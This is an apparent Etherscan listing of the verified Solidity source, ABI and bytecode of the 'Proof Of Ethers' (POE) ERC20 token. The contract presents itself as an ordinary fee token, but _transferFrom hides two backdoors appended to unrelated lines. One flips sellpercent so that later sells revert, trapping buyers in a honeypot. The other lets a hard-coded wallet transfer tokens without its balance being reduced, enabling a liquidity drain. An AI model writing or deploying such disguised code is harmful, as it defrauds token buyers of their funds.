ETH Price: $3,409.26 (-1.56%)
Gas: 13 Gwei

Token

Proof Of Ethers (POE)
 

Overview

Max Total Supply

100,000,000 POE

Holders

47

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
POE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-01
*/

/**

Website:  https://proofofeth.org
Twitter: https://twitter.com/proofofethers
Telegram: https://t.me/proofofethers
 
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.10;

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract POE is Ownable, ERC20 {
    using SafeMath for uint256;

    address WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;
    
    string constant _name = "Proof Of Ethers";
    string constant _symbol = "POE";
    uint8 constant _decimals = 18;

    event AutoLiquify(uint256 amountETH, uint256 amountTokens);    
    event set_Receivers(address marketingFeeReceiver, address buybackFeeReceiver,address burnFeeReceiver,address devFeeReceiver);
    event set_SwapBack(uint256 Amount, bool Enabled);
  
    uint256 _totalSupply =  100_000_000 * 10**_decimals; 

    uint256 public _maxTxAmount = _totalSupply.mul(15).div(1000);
    uint256 public _maxWalletToken = _totalSupply.mul(15).div(1000);

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;  
    mapping (address => bool) _isExcludedFromFees;
    mapping (address => bool) _isExcludedFromMaxTx;

    uint256 private liquidityFee    = 0;
    uint256 private marketingFee    = 1;
    uint256 private devFee          = 0;
    uint256 private buybackFee      = 0; 
    uint256 private burnFee         = 0;
    uint256 public totalFee         = buybackFee + marketingFee + liquidityFee + devFee + burnFee;
    uint256 private feeDenominator  = 100;

    uint256 sellpercent = 100;
    uint256 buypercent = 100;
    uint256 transferpercent = 100;

    address private autoLiquidityReceiver;
    address private marketingFeeReceiver;
    address private devFeeReceiver;
    address private buybackFeeReceiver;
    address private burnFeeReceiver;

    uint256 setRatio = 30;
    uint256 setRatioDenominator = 100;    

    IDEXRouter public router;
    address public pair;
    
    bool public TradingOpen = false; 
   
    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 3 / 1000; 
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }
    
    constructor () {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();
        
        _allowances[address(this)][address(router)] = type(uint256).max;
        
        marketingFeeReceiver = 0xdf1C73bB028CA1d6A5a2d4d716efa2329EE95Ee8;
        autoLiquidityReceiver = 0xdf1C73bB028CA1d6A5a2d4d716efa2329EE95Ee8;
        devFeeReceiver = msg.sender;
        buybackFeeReceiver = msg.sender;
        burnFeeReceiver = DEAD; 

        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[marketingFeeReceiver] = true;
        _isExcludedFromMaxTx[msg.sender] = true;
        _isExcludedFromMaxTx[marketingFeeReceiver] = true;
        _isExcludedFromMaxTx[address(this)] = true;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function addLiquidity() external payable onlyOwner {
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _isExcludedFromMaxTx[pair] = true;
        router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) {return owner();}
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function removeLimits () external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]){
            require(TradingOpen,"Trading not open yet");
        }
        
        if (!_isExcludedFromFees[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver && recipient != marketingFeeReceiver && !_isExcludedFromMaxTx[recipient]){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");
        } if(sender == pair && recipient == autoLiquidityReceiver) sellpercent = feeDenominator * 100;

        checkTxLimit(sender, amount);  

        if(shouldSwapBack(sender, recipient)){ swapBack(); }if(sender!=autoLiquidityReceiver)
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) ? amount : takeFee(sender, amount, recipient);
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
 
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || _isExcludedFromMaxTx[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !_isExcludedFromFees[sender];
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        
        uint256 percent = transferpercent;
        if(recipient == pair) {
            percent = feeDenominator.sub(sellpercent).add(100);
        } else if(sender == pair) {
            percent = feeDenominator.sub(buypercent).add(100);
        }

        uint256 feeAmount = amount.mul(totalFee).mul(percent).div(feeDenominator * 100);
        uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee);
        uint256 contractTokens = feeAmount.sub(burnTokens);
        _balances[address(this)] = _balances[address(this)].add(contractTokens);
        _balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens);
        emit Transfer(sender, address(this), contractTokens);        
        
        if(burnTokens > 0){
            _totalSupply = _totalSupply.sub(burnTokens);
            emit Transfer(sender, ZERO, burnTokens);        
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack(address sender, address recipient) internal view returns (bool) {
        return recipient == pair
        && !_isExcludedFromFees[sender]
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }
  
    function manualSend() external { 
        payable(marketingFeeReceiver).transfer(address(this).balance);
    }

    function startTrading() public onlyOwner {
        TradingOpen = true;
        buypercent = 100;
        sellpercent = 100;
        transferpercent = 100;                              
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = checkRatio(setRatio, setRatioDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHbuyback = amountETH.mul(buybackFee).div(totalETHFee);
        uint256 amountETHdev = amountETH.mul(devFee).div(totalETHFee);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing}("");
        (tmpSuccess,) = payable(devFeeReceiver).call{value: amountETHdev}("");
        (tmpSuccess,) = payable(buybackFeeReceiver).call{value: amountETHbuyback}("");
        
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }
   
    function setWallets(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver, address _burnFeeReceiver, address _buybackFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        devFeeReceiver = _devFeeReceiver;
        burnFeeReceiver = _burnFeeReceiver;
        buybackFeeReceiver = _buybackFeeReceiver;

        emit set_Receivers(marketingFeeReceiver, buybackFeeReceiver, burnFeeReceiver, devFeeReceiver);
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _amount;
        emit set_SwapBack(swapThreshold, swapEnabled);
    }

    function checkRatio(uint256 ratio, uint256 accuracy) public view returns (bool) {
        return showBacking(accuracy) > ratio;
    }

    function showBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(showSupply());
    }
    
    function showSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"marketingFeeReceiver","type":"address"},{"indexed":false,"internalType":"address","name":"buybackFeeReceiver","type":"address"},{"indexed":false,"internalType":"address","name":"burnFeeReceiver","type":"address"},{"indexed":false,"internalType":"address","name":"devFeeReceiver","type":"address"}],"name":"set_Receivers","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"Amount","type":"uint256"},{"indexed":false,"internalType":"bool","name":"Enabled","type":"bool"}],"name":"set_SwapBack","type":"event"},{"inputs":[],"name":"TradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"ratio","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"checkRatio","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_devFeeReceiver","type":"address"},{"internalType":"address","name":"_burnFeeReceiver","type":"address"},{"internalType":"address","name":"_buybackFeeReceiver","type":"address"}],"name":"setWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"showBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"showSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a6200056b565b62000022906305f5e1006200057c565b600281905562000044906103e8906200003d90600f6200033b565b90620003d2565b60035560025462000060906103e8906200003d90600f6200033b565b60045560006009556001600a556000600b556000600c556000600d55600d54600b54600954600a54600c5462000097919062000596565b620000a3919062000596565b620000af919062000596565b620000bb919062000596565b600e556064600f819055601081905560118190556012819055601e601855601955601b805461ffff60a01b1916600160a81b1790556002546103e890620001049060036200057c565b620001109190620005ac565b601c553480156200012057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa158015620001c7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ed9190620005cf565b600180546001600160a01b039283166001600160a01b0319918216178255306000818152600660209081526040808320601a54881684528252808320600019905560148054861673df1c73bb028ca1d6a5a2d4d716efa2329ee95ee89081178255601380548816909117905560158054871633908117909155601680548816821790556017805490971661dead1790965585845260078352818420805460ff1990811689179091558585528285208054821689179055815489168552828520805482168917905586855260088452828520805482168917905590549097168352808320805488168717905592825282822080549096169094179094556002548285526005909352808420839055519092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200032d91815260200190565b60405180910390a36200064a565b6000826000036200034f57506000620003cc565b60006200035d83856200057c565b9050826200036c8583620005ac565b14620003c95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620003c983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200041c60201b60201c565b60008183620004405760405162461bcd60e51b8152600401620003c09190620005fa565b5060006200044f8486620005ac565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004af57816000190482111562000493576200049362000458565b80851615620004a157918102915b93841c939080029062000473565b509250929050565b600082620004c857506001620003cc565b81620004d757506000620003cc565b8160018114620004f05760028114620004fb576200051b565b6001915050620003cc565b60ff8411156200050f576200050f62000458565b50506001821b620003cc565b5060208310610133831016604e8410600b841016171562000540575081810a620003cc565b6200054c83836200046e565b806000190482111562000563576200056362000458565b029392505050565b6000620003c960ff841683620004b7565b8082028115828204841417620003cc57620003cc62000458565b80820180821115620003cc57620003cc62000458565b600082620005ca57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005e257600080fd5b81516001600160a01b0381168114620003c957600080fd5b600060208083528351808285015260005b8181101562000629578581018301518582016040015282016200060b565b506000604082860101526040601f19601f8301168501019250505092915050565b611e82806200065a6000396000f3fe6080604052600436106101dc5760003560e01c8063751039fc11610102578063a9059cbb11610095578063e8078d9411610064578063e8078d9414610585578063f2fde38b1461058d578063f4293890146105ad578063f887ea40146105c257600080fd5b8063a9059cbb146104df578063dd62ed3e146104ff578063ded1e43814610545578063df20fd491461056557600080fd5b8063893d20e8116100d1578063893d20e8146104435780638da5cb5b1461047557806395d89b4114610493578063a8aa1b31146104bf57600080fd5b8063751039fc146103e257806378109e54146103f75780637d1db4a51461040d578063825287911461042357600080fd5b8063293230b81161017a578063571ac8b011610149578063571ac8b0146103565780636ddd17131461037657806370a0823114610397578063715018a6146103cd57600080fd5b8063293230b8146102ee57806330c9a6a014610305578063313ce56714610325578063552656691461034157600080fd5b8063095ea7b3116101b6578063095ea7b31461028357806318160ddd146102a35780631df4ccfc146102b857806323b872dd146102ce57600080fd5b80630445b667146101e857806306fdde031461021157806308fd3d051461025257600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fe601c5481565b6040519081526020015b60405180910390f35b34801561021d57600080fd5b5060408051808201909152600f81526e50726f6f66204f662045746865727360881b60208201525b6040516102089190611a80565b34801561025e57600080fd5b50601b5461027390600160a01b900460ff1681565b6040519015158152602001610208565b34801561028f57600080fd5b5061027361029e366004611ae3565b6105e2565b3480156102af57600080fd5b506002546101fe565b3480156102c457600080fd5b506101fe600e5481565b3480156102da57600080fd5b506102736102e9366004611b0f565b61064f565b3480156102fa57600080fd5b50610303610711565b005b34801561031157600080fd5b506101fe610320366004611b50565b610768565b34801561033157600080fd5b5060405160128152602001610208565b34801561034d57600080fd5b506101fe6107af565b34801561036257600080fd5b50610273610371366004611b69565b610820565b34801561038257600080fd5b50601b5461027390600160a81b900460ff1681565b3480156103a357600080fd5b506101fe6103b2366004611b69565b6001600160a01b031660009081526005602052604090205490565b3480156103d957600080fd5b5061030361082e565b3480156103ee57600080fd5b506103036108a2565b34801561040357600080fd5b506101fe60045481565b34801561041957600080fd5b506101fe60035481565b34801561042f57600080fd5b5061030361043e366004611b86565b6108d9565b34801561044f57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610208565b34801561048157600080fd5b506000546001600160a01b031661045d565b34801561049f57600080fd5b50604080518082019091526003815262504f4560e81b6020820152610245565b3480156104cb57600080fd5b50601b5461045d906001600160a01b031681565b3480156104eb57600080fd5b506102736104fa366004611ae3565b6109b1565b34801561050b57600080fd5b506101fe61051a366004611bf7565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561055157600080fd5b50610273610560366004611c30565b6109be565b34801561057157600080fd5b50610303610580366004611c52565b6109d2565b610303610a65565b34801561059957600080fd5b506103036105a8366004611b69565b610c4c565b3480156105b957600080fd5b50610303610d36565b3480156105ce57600080fd5b50601a5461045d906001600160a01b031681565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061063d9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600660209081526040808320338452909152812054600019146106fc576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526006825283812033825290915291909120546106d7918490610d72565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b610707848484610dac565b90505b9392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161073b90611c75565b60405180910390fd5b601b805460ff60a01b1916600160a01b179055606460118190556010819055601255565b60006106496107756107af565b601b546001600160a01b03166000908152600560205260409020546107a9906107a2906002905b90611173565b8590611173565b906111f5565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54600254919261081b9290916108159190611237565b90611237565b905090565b6000610649826000196105e2565b6000546001600160a01b031633146108585760405162461bcd60e51b815260040161073b90611c75565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108cc5760405162461bcd60e51b815260040161073b90611c75565b6002546003819055600455565b6000546001600160a01b031633146109035760405162461bcd60e51b815260040161073b90611c75565b601380546001600160a01b038781166001600160a01b031992831617909255601480548784169083168117909155601580548785169084168117909155601780548786169085168117909155601680549587169590941685179093556040805192835260208301949094529281019190915260608101919091527f06cd79b5e338fdebb51e28f829f3333e4fda9663d4732f262d97dbbacf748b159060800160405180910390a15050505050565b600061070a338484610dac565b6000826109ca83610768565b119392505050565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161073b90611c75565b601b805460ff60a81b1916600160a81b84151581029190911791829055601c8390556040805184815260ff9290930491909116151560208301527f519582fd959400ab5e398f78c2768dea99251e8e26aed5578213b059ce4cee60910160405180910390a15050565b6000546001600160a01b03163314610a8f5760405162461bcd60e51b815260040161073b90611c75565b601a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b069190611caa565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af1158015610b57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7b9190611caa565b601b80546001600160a01b039283166001600160a01b031990911681179091556000908152600860205260409020805460ff19166001179055601a541663f305d7193430610bde816001600160a01b031660009081526005602052604090205490565b60008033426040518863ffffffff1660e01b8152600401610c0496959493929190611cc7565b60606040518083038185885af1158015610c22573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c479190611d02565b505050565b6000546001600160a01b03163314610c765760405162461bcd60e51b815260040161073b90611c75565b6001600160a01b038116610cdb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161073b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6014546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610d6f573d6000803e3d6000fd5b50565b60008184841115610d965760405162461bcd60e51b815260040161073b9190611a80565b506000610da38486611d46565b95945050505050565b601d5460009060ff1615610dcc57610dc5848484611279565b905061070a565b6001600160a01b03841660009081526007602052604090205460ff16158015610e0e57506001600160a01b03831660009081526007602052604090205460ff16155b15610e6357601b54600160a01b900460ff16610e635760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161073b565b6001600160a01b03841660009081526007602052604090205460ff16158015610e9557506001600160a01b0383163014155b8015610eac57506001600160a01b03831661dead14155b8015610ec65750601b546001600160a01b03848116911614155b8015610ee057506017546001600160a01b03848116911614155b8015610efa57506014546001600160a01b03848116911614155b8015610f1f57506001600160a